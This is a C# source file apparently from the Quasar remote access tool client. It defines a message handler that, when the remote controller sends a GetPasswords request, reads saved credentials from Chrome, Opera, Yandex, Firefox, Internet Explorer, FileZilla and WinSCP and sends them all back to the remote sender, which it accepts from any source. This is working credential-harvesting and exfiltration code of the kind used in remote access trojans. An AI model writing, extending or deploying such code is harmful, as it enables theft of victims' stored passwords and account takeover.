using Quasar.Client.Recovery;
using Quasar.Client.Recovery.Browsers;
using Quasar.Client.Recovery.FtpClients;
using Quasar.Common.Messages;
using Quasar.Common.Models;
using Quasar.Common.Networking;
using System;
using System.Collections.Generic;
using System.Diagnostics;

namespace Quasar.Client.Messages
{
    public class PasswordRecoveryHandler : IMessageProcessor
    {
        public bool CanExecute(IMessage message) => message is GetPasswords;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case GetPasswords msg:
                    Execute(sender, msg);
                    break;
            }
        }

        private void Execute(ISender client, GetPasswords message)
        {
            List<RecoveredAccount> recovered = new List<RecoveredAccount>();

            var passReaders = new IAccountReader[]
            {
                new ChromePassReader(), 
                new OperaPassReader(), 
                new YandexPassReader(), 
                new FirefoxPassReader(), 
                new InternetExplorerPassReader(), 
                new FileZillaPassReader(), 
                new WinScpPassReader()
            };

            foreach (var passReader in passReaders)
            {
                try
                {
                    recovered.AddRange(passReader.ReadAccounts());
                }
                catch (Exception e)
                {
                    Debug.WriteLine(e);
                }
            }

            client.Send(new GetPasswordsResponse { RecoveredAccounts = recovered });
        }
    }
}